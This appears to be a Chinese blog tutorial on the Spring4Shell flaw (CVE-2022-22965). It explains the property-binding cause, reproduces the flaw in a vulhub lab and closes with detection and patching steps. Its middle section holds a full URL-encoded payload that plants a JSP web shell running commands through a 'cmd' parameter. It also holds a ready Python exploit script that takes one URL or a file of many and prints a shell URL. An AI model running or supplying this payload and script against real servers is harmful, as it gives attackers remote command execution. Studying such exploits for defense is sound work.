Spring-Core RCE反序列化漏洞原理与复现

  • 1 漏洞介绍
  • 1.1 Spring简介
  • 1.2 漏洞原理
  • 1.3 相关解释
  • 2 复现流程
  • 2.1 环境搭建
  • 2.2 测试
  • 2.3 过程分析
  • 3 漏洞防御
  • 3.1 排查方法
  • 3.2 漏洞修复


CVE-2022-22965

1 漏洞介绍

1.1 Spring简介

Spring Boot是由Pivotal团队提供的基于Spring的全新框架,旨在简化Spring应用的初始搭建和开发过程。该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。

Spring官网给的定义是:Spring Boot是所有基于Spring开发项目的起点。Spring Boot集成了绝大部分目前流行的开发框架,就像 Maven 集成了所有的 JAR 包一样,Spring Boot集成了几乎所有的框架,使得开发者能快速搭建Spring项目。

1.2 漏洞原理

Spring参数自动绑定

获取相关参数后,多级调用getXXX方法,最终通过setXXX方法实现对象的取值和赋值。

如果Java程序某个位置(接口)处可以动态传参,以修改任意对象的属性值,那修改一个文件名和保存路径,写入一个一句话🐎,用蚁剑连接,控制整个项目,即可实现入侵。

这个文件就是Tomcat,利用的就是access_log属性值里面的内容。

1.3 相关解释

在Java程序运行过程中,有时会对类的对象进行动态调用取值和赋值,如果该类有多级属性,每级属性又有各自的get/set方法(比如行政级别划分,每级行政单位都有各自命名的方法;或生物命名,界门纲目科属种名……),要想访问指定子类的某个属性或成员变量,一般方法的依次生成各级类或属性并完成get/set方法就显得代码臃肿不便操作了。




Province
-name : String
-city : City
+String getName()
+setName(String name)
+City getCity()
+setCity(City city)

City
-name : String
-town : Town
+String getName()
+setName(String name)
+County getTown()
+setTown(Town town)

Town
-name : String
+String getName()
+setName(String name)


多级参数自动绑定

假设该Java程序运行在网络上,网站的一处地址为http://xxx.com/yyy?qqq=zzz&province.city.town.name=ttt,其中ttt是客户端(浏览器端)传入的参数,Java程序会自动赋值,所调用的链路为:Province.getCity().getTown().setName(“ttt”)。具体实现需要用到工具类:

PropertyDescriptor BeanWrapperlmpl

JDK自带的工具类,Java Bean PropertyDescriptor,给定一个属性(比如name),就可以自动调用该属性的get和set方法,进行取值和赋值。

/*
 * PropertyDescriptor.java
 */
public class PropertyDescriptorDemo {
    public static void main(String[] args){
        BeanInfo cityBeanInfo = Introspector.getBeanInfo(City.class);
        PropertyDescriptor[] descriptors = cityBeanInfo.getPropertyDescriptors();
        PropertyDescriptor cityNameDescriptor = null;
        for (PropertyDescriptor descriptor : descriptors) {
            //这里匹配到了name属性的Descriptor,每个属性都有一个对应的Descriptor,组成一个集合。
            if (descriptor.getName().equals("name")) {
                cityNameDescriptor = descriptor;
                //获取set方法
                cityNameDescriptor.getWriteMethod().invoke(city, "ttttt");
            }
        }
        System.out.println("After modification: ");
        System.out.println("city.name: " + cityNameDescriptor.getReadMethod().invoke(city));
    }
}

Spring自带,BeanWrapperlmpl,是对PropertyDescriptor的包装,用于对Spring容器中管理的对象,自动调用get和set方法,进行取值和赋值。

/*
 * BeanWrapper.java
 */
public class BeanWrapperDemo {
    public static void main(String[] args) throws Exception {
        BeanWrapper cityBeanWrapper = new BeanWrapperImpl(city);
        cityBeanWrapper.setAutoGrowNestedPaths(true);

        //直接指定要修改的属性名和属性值即可修改
        cityBeanWrapper.setPropertyValue("name", "ttttt");
        cityBeanWrapper.setPropertyValue("town.name", "tt");
        System.out.println("city.name: " + cityBeanWrapper.getPropertyValue("name"));
        System.out.println("city.town.name: " + cityBeanWrapper.getPropertyValue("town.name"));
    }
}

access_log属性

tomcat根目录\conf\路径下有一个配置文件server.xml,在最下面😑定义了一个类:

<!-- Access log processes all example.
     Documentation at: /docs/config/valve.html
     Note: The pattern used is equivalent to using pattern="common" -->
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
       prefix="localhost_access_log" suffix=".txt"
       pattern="%h %l %u %t "%r" %s %b" />

类名

org.apache.catalina.valves.AccessLogValve

属性名

含义

directory

access_log文件输出目录

prefix

access_log文件名前缀

suffix

access_log文件名后缀

pattern

access_log文件内容格式

fileDateFormat

access_log文件名日期后缀,默认为.yyyy-MM-dd

2 复现流程

Spring Framework < 5.3.18

Spring Framework < 5.2.20

JDK ≥ 9

2.1 环境搭建

vulhub靶场

#1 下载靶场
git clone https://github.com/vulhub/vulhub.git
cd vulhub/spring/CVE-2022-22965
#2 运行
docker-compose up -d
#3 查看IP和端口
docker-compose ps
docker ps
#4 关闭靶场
docker-compose down

(启动速度有点慢)访问http://ip:port/?name=Bob&age=25,会出现一行字,即启动成功。

2.2 测试

首先开启流量监控

构造请求地址

http://ip:port/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25

请求发出后,拦截到请求包,修改数据。添加以下内容:

suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 2

然后访问http:ip:port//tomcatwar.jsp?pwd=j&cmd=whoami

如果返回root...则执行命令成功。

当然,没有复现成功,抓包用的是Burp自带的浏览器,数据有问题。

可以利用脚本,自动化完成如上操作,可排除Burp的bug:

#coding:utf-8
# 
import requests
import argparse
from urllib.parse import urljoin

def Exploit(url):
    headers = {"suffix":"%>//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"
    }
    data = "?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    try:
        print(url)
        # res = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
        res = requests.get(url=(url+data),headers=headers,timeout=15,allow_redirects=False, verify=False)
        # print(res.status_code)
        # print(res.text)
        shellurl = urljoin(url, 'tomcatwar.jsp')
        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
        if shellgo.status_code == 200:
            print(f"Vulnerable,shell ip:{shellurl}?pwd=j&cmd=whoami")
    except Exception as e:
        print(e)
        pass

def main():
    parser = argparse.ArgumentParser(description='Spring-Core Rce.')
    parser.add_argument('--file',help='url file',required=False)
    parser.add_argument('--url',help='target url',required=False)
    args = parser.parse_args()
    if args.url:
        Exploit(args.url)
    if args.file:
        with open (args.file) as f:
            for i in f.readlines():
                i = i.strip()
                Exploit(i)

if __name__ == '__main__':
    main()

执行

python poc.python --url=http://ip:port

浏览器访问http://ip:port/tomcatwar.jsp?pwd=j&cmd=whoami,出现root...即成功。

2.3 过程分析

用到的反序列化方法

此处仅记录下其调用链为:

class.module.classLoader.resources.context.parent.pipeline.first.pattern User.getClass()   java.lang.Class.getModule() 
      java.lang.Module.getClassLoader() 
         org.apache.catalina.loader.ParallelWebappClassLoader.getResources() 
            org.apache.catalina.webresources.StandardRoot.getContext() 
               org.apache.catalina.core.StandardContext.getParent() 
                  org.apache.catalina.core.StandardHost.getPipeline() 
                      org.apache.catalina.core.StandardPipeline.getFirst() 
                            org.apache.catalina.valves.AccessLogValve.setPattern

调用过程中缓存了一个class文件。测试过程发送的HTTP请求包的作用就是,在webapps/ROOT下写入一个名为tomcatwar.jsp的文件(木马)。

3 漏洞防御

3.1 排查方法

  1. 是否启用Spring参数绑定功能
  2. JDK9以上版本
  3. Tomcat是否独立的,是否开启了Access功能
  4. 自查可以检查流量是否有class.module.classLoader.resources.context.parent.pipeline.first.pattern......的字眼

3.2 漏洞修复

  1. 官网升级Spring
  2. 升级tomcat
  3. 更新WAF
  4. 开发时,如果遇到ClassLoader和ProtectionDomain,直接跳过